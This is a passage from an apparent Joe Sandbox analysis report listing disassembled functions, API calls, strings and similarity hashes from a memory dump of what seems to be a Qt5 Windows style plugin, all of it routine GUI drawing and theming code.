?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF812316291
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF81231629C
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF8123162A7
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF8123162CA
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF8123162DC
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF81231661A
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF812316625

Part of subcall function 00007FF8123172B0: ?currentImage@QBlendStyleAnimation@@QEBA?AVQImage@@XZ.QT5WIDGETS ref: 00007FF8123172C5
Part of subcall function 00007FF8123172B0: ?drawImage@QPainter@@QEAAXAEBVQRect@@AEBVQImage@@@Z.QT5GUI ref: 00007FF8123172D5
Part of subcall function 00007FF8123172B0: ??1QImage@@UEAA@XZ.QT5GUI ref: 00007FF8123172E0

Strings

@, xrefs: 00007FF812316270

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@$Painter@@Pen@@$Rect@@$ColorColor@@Style@$?draw?setPen@Pen@@@Style$?adjusted@?brush@?color@Animation@@BrushGroup@1@Image@Image@@JoinObject@@Palette@@Qt@@Qt@@@Rects@Role@1@@Style@3@Style@3@@$?animation@?cast@?current?pen@BlendCommonImage@@@MetaObject@@@Private@@V0@@V2@@
String ID: @
API String ID: 488949793-2766056989
Opcode ID: 1323692698e6a1aa2d82c1927648a39a50013004746813ab53a32a3d5e4be323
Instruction ID: 695f37ae02e3156b108d7a8f6115aec48c0d6dd7669eed12711edfdc92476337
Opcode Fuzzy Hash: 1323692698e6a1aa2d82c1927648a39a50013004746813ab53a32a3d5e4be323
Instruction Fuzzy Hash: 66817E31A18E4286EB15CF65E8582E96760FB85BE9F400275DE4E07AB4DFBDD149CB00

Function 00007FF81231C259 Relevance: 54.4, APIs: 36, Instructions: 381windowCOMMON

Download Yara Rule

APIs

?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C26E
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C2B4
??0QStyleOption@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231C342
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C44D
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C45A
??0QStyleOptionFocusRect@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231C496
??4QStyleOption@@QEAAAEAV0@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231C4A6
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C4D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C501
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231C531
??0QStyleOptionToolButton@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231C541
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF81231C585
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C59A
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C5E5
?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231C624
?setClipRect@QPainter@@QEAAXAEBVQRect@@W4ClipOperation@Qt@@@Z.QT5GUI ref: 00007FF81231C634
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C648
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231C670
?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231C679
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231C689
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231C692
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231C69E
?drawLines@QPainter@@QEAAXPEBVQLine@@H@Z.QT5GUI ref: 00007FF81231C6D8
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231C6EB
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231C6F4
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231C700
?drawLines@QPainter@@QEAAXPEBVQLine@@H@Z.QT5GUI ref: 00007FF81231C73C
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF81231C767
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C779
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231C7A1
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C7BC
??0QStyleOptionToolButton@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231C7EB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231C852
??1QStyleOptionToolButton@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231C87C
??1QStyleOptionToolButton@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231C889
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF81231C894

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: ?proxy@Style@@$Painter@@Style$Option$Brush@@Button@@ColorOption@@Rect@@ToolV0@@$?set$?adjusted@?brush@?color@?draw?restore@?save@ClipColor@@Color@@@Group@1@Line@@Lines@Palette@@Pen@Role@1@@$FocusOperation@Qt@@@Rect@
String ID:
API String ID: 2617635746-0
Opcode ID: bda47f5392d70893587a5d65428ae5fa17e555c0e64d4652ee0c0791de1a4c8c
Instruction ID: 5004479576b46da654f9553c61c0b06adae01cf6468c598f90aac350d88e459d
Opcode Fuzzy Hash: bda47f5392d70893587a5d65428ae5fa17e555c0e64d4652ee0c0791de1a4c8c
Instruction Fuzzy Hash: AB025D32A08EC18AE725CF29D8496E97360FB84BA8F104226DE4E47B68DF7DD585C705

Function 00007FF81231FFBC Relevance: 52.7, APIs: 27, Strings: 3, Instructions: 159windowCOMMON

Download Yara Rule

APIs

?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF81231FFC5
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF81231FFDA
?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF81231FFEB
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF812320009
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF812320021
?pen@QPainter@@QEBAAEBVQPen@@XZ.QT5GUI ref: 00007FF812320032
??0QPen@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF812320040
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812320055
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81232005E
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF812320075
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF8123200A0
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF8123200AC
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF8123200B7
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF8123200C2
??0QRect@@QEAA@AEBVQPoint@@0@Z.QT5CORE ref: 00007FF8123200FF
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF812320112
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812320122
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81232012B
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81232013C
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF812320167
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF812320173
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF81232017E
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812320189
??0QRect@@QEAA@AEBVQPoint@@0@Z.QT5CORE ref: 00007FF8123201C0
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF8123201D3
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF8123201E1
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF8123201EC

Strings

QAbstractItemView, xrefs: 00007FF812320017
@, xrefs: 00007FF812320152
QLineEdit, xrefs: 00007FF812320002

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@$Pen@@$Painter@@$ColorColor@@Rect@@Style@$?setPen@Pen@@@Widget@@$?brush@?color@?draw?inherits@?parentBrushGroup@1@JoinObject@@Palette@@Point@@0@Qt@@Qt@@@Rects@Role@1@@Style@3@Style@3@@Widget@$?pen@V0@@Window@
String ID: @$QAbstractItemView$QLineEdit
API String ID: 926540561-255154090
Opcode ID: 6abdf0a445f71498796ade97e5a14a468677f0b2c30fa9c9b0716940efc28457
Instruction ID: c54d71e8c76ea68ea496f9f733122a2cec3d43a11cc67df2fb6f5c5f7f78706b
Opcode Fuzzy Hash: 6abdf0a445f71498796ade97e5a14a468677f0b2c30fa9c9b0716940efc28457
Instruction Fuzzy Hash: AC716F36608A8286EB25CF19E4446A9B7B0FB89BE4F404271DA4E53734DFBDE549CB00

Function 00007FF8123211E0 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 159windowCOMMON

Download Yara Rule

APIs

?getHWNDForWidget@QApplicationPrivate@@SAPEAUHWND__@@PEBVQWidget@@@Z.QT5WIDGETS(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321228
?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ.QT5GUI(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321242
?isTopLevel@QWindow@@QEBA_NXZ.QT5GUI ref: 00007FF812321276
?type@QWindow@@QEBA?AW4WindowType@Qt@@XZ.QT5GUI ref: 00007FF812321283
?handle@QWindow@@QEBAPEAVQPlatformWindow@@XZ.QT5GUI ref: 00007FF812321291
GetDesktopWindow.USER32 ref: 00007FF8123212A9
?dispose@QListData@@SAXPEAUData@1@@Z.QT5CORE ref: 00007FF8123212E3
??0QMessageLogger@@QEAA@PEBDH0@Z.QT5CORE ref: 00007FF812321366
?warning@QMessageLogger@@QEBAXPEBDZZ.QT5CORE ref: 00007FF812321376
OpenThemeData.UXTHEME ref: 00007FF8123213DD
?toLocal8Bit@QString@@QEHAA?AVQByteArray@@XZ.QT5CORE ref: 00007FF81232140F

Strings

explorer, xrefs: 00007FF81232138F
OpenThemeData() failed for theme %d (%s)., xrefs: 00007FF812321420
SetWindowTheme() failed., xrefs: 00007FF8123213A3
Unable to create the treeview helper window., xrefs: 00007FF81232136F
Invalid parameters #%d, %p, xrefs: 00007FF812321471

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Window@@$Logger@@MessageWindow$?all?dispose@?get?handle@?type@?warning@ApplicationApplication@@Array@@Bit@ByteD__@@DataData@1@@Data@@DesktopLevel@ListList@Local8OpenPlatformPrivate@@Qt@@String@@ThemeType@Widget@Widget@@@Window@@@@Windows@
String ID: Invalid parameters #%d, %p$OpenThemeData() failed for theme %d (%s).$SetWindowTheme() failed.$Unable to create the treeview helper window.$explorer
API String ID: 4090762318-2680742128
Opcode ID: af33dac452b3077cee02e1a0ea4967488e972aa9edb95271b0aad700492b3f4f
Instruction ID: 62f1b2e8bc4772a7393c771f3274da0409a8ad857c90bf2f77354abdcb95467f
Opcode Fuzzy Hash: af33dac452b3077cee02e1a0ea4967488e972aa9edb95271b0aad700492b3f4f
Instruction Fuzzy Hash: 8D716825A19F4282EB658B15E9443F923A1FF85BE0F4402B5DA8E43BB5EFBCE445C700

Function 00007FF812318DE0 Relevance: 45.6, APIs: 23, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF812325010: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325031
Part of subcall function 00007FF812325010: ?setWindowOpacity@QWidget@@QEAAXN@Z.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325047
Part of subcall function 00007FF812325010: IsThemeActive.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325058
Part of subcall function 00007FF812325010: IsAppThemed.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325062
Part of subcall function 00007FF812325010: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232506C
Part of subcall function 00007FF812325010: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325077
Part of subcall function 00007FF812325010: SelectObject.GDI32 ref: 00007FF8123250C7
Part of subcall function 00007FF812325010: DeleteObject.GDI32 ref: 00007FF8123250D4
Part of subcall function 00007FF812325010: DeleteDC.GDI32 ref: 00007FF8123250ED
Part of subcall function 00007FF812325010: IsThemeActive.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325117
Part of subcall function 00007FF812325010: IsAppThemed.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325121
Part of subcall function 00007FF812325010: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232512B
Part of subcall function 00007FF812325010: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325136
Part of subcall function 00007FF812325010: memset.VCRUNTIME140(?,?,?,00007FF812318DFD), ref: 00007FF81232516D
Part of subcall function 00007FF812325010: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325186
Part of subcall function 00007FF812325010: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232519F
Part of subcall function 00007FF812325010: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF8123251B8

?stopAnimation@QCommonStylePrivate@@QEBAXPEBVQObject@@@Z.QT5WIDGETS ref: 00007FF812318E04
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318E14
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318E2D
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318E46
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812318E5B
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318E7B
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812318E94
??0QString@@QEAA@VQLatin1String@@@Z.QT5CORE ref: 00007FF812318EBD
?qt_qFindChild_helper@@YAPEAVQObject@@PEBV1@AEBVQString@@AEBUQMetaObject@@V?$QFlags@W4FindChildOption@Qt@@@@@Z.QT5CORE ref: 00007FF812318ED7
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812318EE4
?setContentsMargins@QWidget@@QEAAXHHHH@Z.QT5WIDGETS ref: 00007FF812318F06
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318F26
?viewport@QAbstractScrollArea@@QEBAPEAVQWidget@@XZ.QT5WIDGETS ref: 00007FF812318F34
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812318F4C
?font@QApplication@@SA?AVQFont@@PEBD@Z.QT5WIDGETS ref: 00007FF812318F66
??0QFont@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF812318F78
?family@QFont@@QEBA?AVQString@@XZ.QT5GUI ref: 00007FF812318F86
?setFamily@QFont@@QEAAXAEBVQString@@@Z.QT5GUI ref: 00007FF812318F93
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812318F9D
?setFont@QWidget@@QEAAXAEBVQFont@@@Z.QT5WIDGETS ref: 00007FF812318FAA
??1QFont@@QEAA@XZ.QT5GUI ref: 00007FF812318FB4
??1QFont@@QEAA@XZ.QT5GUI ref: 00007FF812318FBE
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812318FDE

Strings

qt_msgbox_buttonbox, xrefs: 00007FF812318E61
QCommandLinkButton, xrefs: 00007FF812318F5B
qt_inputdlg_buttonbox, xrefs: 00007FF812318E9A

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Object@@$Meta$?cast@V2@@$?setWidget@@$Attribute@Font@@$String@@$Application@@Private@@Qt@@_StyleWidget$?instance@ActiveCoreDarkDeleteFindMode@ObjectString@@@ThemeThemedWindows$?family@?font@?qt_q?stop?viewport@AbstractAnimation@Area@@ChildChild_helper@@CommonContentsFamily@Flags@Font@Font@@@Latin1Margins@Object@@@Opacity@Option@Qt@@@@@ScrollSelectV0@@Windowmemset
String ID: QCommandLinkButton$qt_inputdlg_buttonbox$qt_msgbox_buttonbox
API String ID: 1264395382-279060725
Opcode ID: 90f386b7e4906de7370b93bb41d607c9e84e887ffcc9fb3f9d8b4275722e03d4
Instruction ID: ea698d05ed0590761a9a3bd98cffd9b9646df67ae383ada5ef317ff08098b41b
Opcode Fuzzy Hash: 90f386b7e4906de7370b93bb41d607c9e84e887ffcc9fb3f9d8b4275722e03d4
Instruction Fuzzy Hash: B5510625A18F0286FF068F25E9556F92361BB88BE8F041671DE0E06B78DFBCE149C740

Function 00007FF812325010 Relevance: 36.1, APIs: 24, Instructions: 145COMMON

Download Yara Rule

APIs

?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325031
?setWindowOpacity@QWidget@@QEAAXN@Z.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325047

Part of subcall function 00007FF812319340: CloseThemeData.UXTHEME(?,?,?,?,?,?,?,00007FF81231136A), ref: 00007FF812319368
Part of subcall function 00007FF812319340: DestroyWindow.USER32(?,?,?,?,?,?,?,00007FF81231136A), ref: 00007FF812319386

IsThemeActive.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325058
IsAppThemed.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325062
?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232506C
?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325077
SelectObject.GDI32 ref: 00007FF8123250C7
DeleteObject.GDI32 ref: 00007FF8123250D4
DeleteDC.GDI32 ref: 00007FF8123250ED
IsThemeActive.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325117
IsAppThemed.UXTHEME(?,?,?,00007FF812318DFD), ref: 00007FF812325121
?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232512B
?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF812325136
memset.VCRUNTIME140(?,?,?,00007FF812318DFD), ref: 00007FF81232516D
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325186
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232519F
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF8123251B8
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF8123251CD
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF8123251E2
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF8123251F7
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF81232520C
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325221
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,00007FF812318DFD), ref: 00007FF812325236
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS(?,?,?,00007FF812318DFD), ref: 00007FF81232524B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Object@@$?cast@MetaV2@@$Theme$?instance@?setActiveApplication@@Attribute@CoreDarkDeleteMode@ObjectPrivate@@StyleThemedWidget@@WindowWindows$CloseDataDestroyOpacity@Qt@@_SelectWidgetmemset
String ID:
API String ID: 3088586464-0
Opcode ID: 2784440abc1013224ad6d8a18867aac1c3947dc10ad7593ef7c70c76c0b5eb96
Instruction ID: d312e77182b09c7fc192fc138c07b381e1d2cc54294f543a254d794a7d56217c
Opcode Fuzzy Hash: 2784440abc1013224ad6d8a18867aac1c3947dc10ad7593ef7c70c76c0b5eb96
Instruction Fuzzy Hash: 96610720A19F4282FE5E9B51B8452F923A0BF59BE1F0853B9D94E173B0DFACF6558240

Function 00007FF812313248 Relevance: 30.3, APIs: 20, Instructions: 262timeCOMMON

Download Yara Rule

APIs

?animation@QCommonStylePrivate@@QEBAPEAVQStyleAnimation@@PEBVQObject@@@Z.QT5WIDGETS ref: 00007FF812313325
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812313335
??0QBlendStyleAnimation@@QEAA@W4Type@0@PEAVQObject@@@Z.QT5WIDGETS ref: 00007FF812313384
??0QPainter@@QEAA@PEAVQPaintDevice@@@Z.QT5GUI ref: 00007FF81231339F
??0QPainter@@QEAA@PEAVQPaintDevice@@@Z.QT5GUI ref: 00007FF8123133ED
?setStartImage@QBlendStyleAnimation@@QEAAXAEBVQImage@@@Z.QT5WIDGETS ref: 00007FF81231341C
?setEndImage@QBlendStyleAnimation@@QEAAXAEBVQImage@@@Z.QT5WIDGETS ref: 00007FF81231342C
?currentTime@QTime@@SA?AV1@XZ.QT5CORE ref: 00007FF812313436
?setStartTime@QStyleAnimation@@QEAAXAEBVQTime@@@Z.QT5WIDGETS ref: 00007FF812313442
?setDuration@QStyleAnimation@@QEAAXH@Z.QT5WIDGETS ref: 00007FF812313450
?startAnimation@QCommonStylePrivate@@QEBAXPEAVQStyleAnimation@@@Z.QT5WIDGETS ref: 00007FF81231345C
??1QPainter@@QEAA@XZ.QT5GUI ref: 00007FF812313467
??1QPainter@@QEAA@XZ.QT5GUI ref: 00007FF812313471
??1QImage@@UEAA@XZ.QT5GUI ref: 00007FF81231347E
??1QImage@@UEAA@XZ.QT5GUI ref: 00007FF81231348B
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231352D
??0QStyleOptionButton@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF8123135A2
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812313603
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812313616
??1QStyleOptionTab@@QEAA@XZ.QT5WIDGETS ref: 00007FF812313644

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Animation@@$?setPainter@@$Blend$CommonDevice@@@Image@Image@@Image@@@Object@@Object@@@OptionPaintPrivate@@StartStyle@@Time@$?animation@?cast@?current?dpi?proxy@?start?visualAnimation@Animation@@@Button@@Direction@Duration@Helper@@LayoutMetaOption@@@Qt@@Rect@Rect@@Scaled@Tab@@Time@@Time@@@Type@0@V0@@V2@1@V2@@
String ID:
API String ID: 963520922-0
Opcode ID: fb8edecaa831ba33c3dd02b7e8cff9bb8191e9c68fa9442d224c85d040ca04ce
Instruction ID: e722a51ea970366b5f4fb5233684a1cb2c86ac2e816d317dd51d91420bbf04eb
Opcode Fuzzy Hash: fb8edecaa831ba33c3dd02b7e8cff9bb8191e9c68fa9442d224c85d040ca04ce
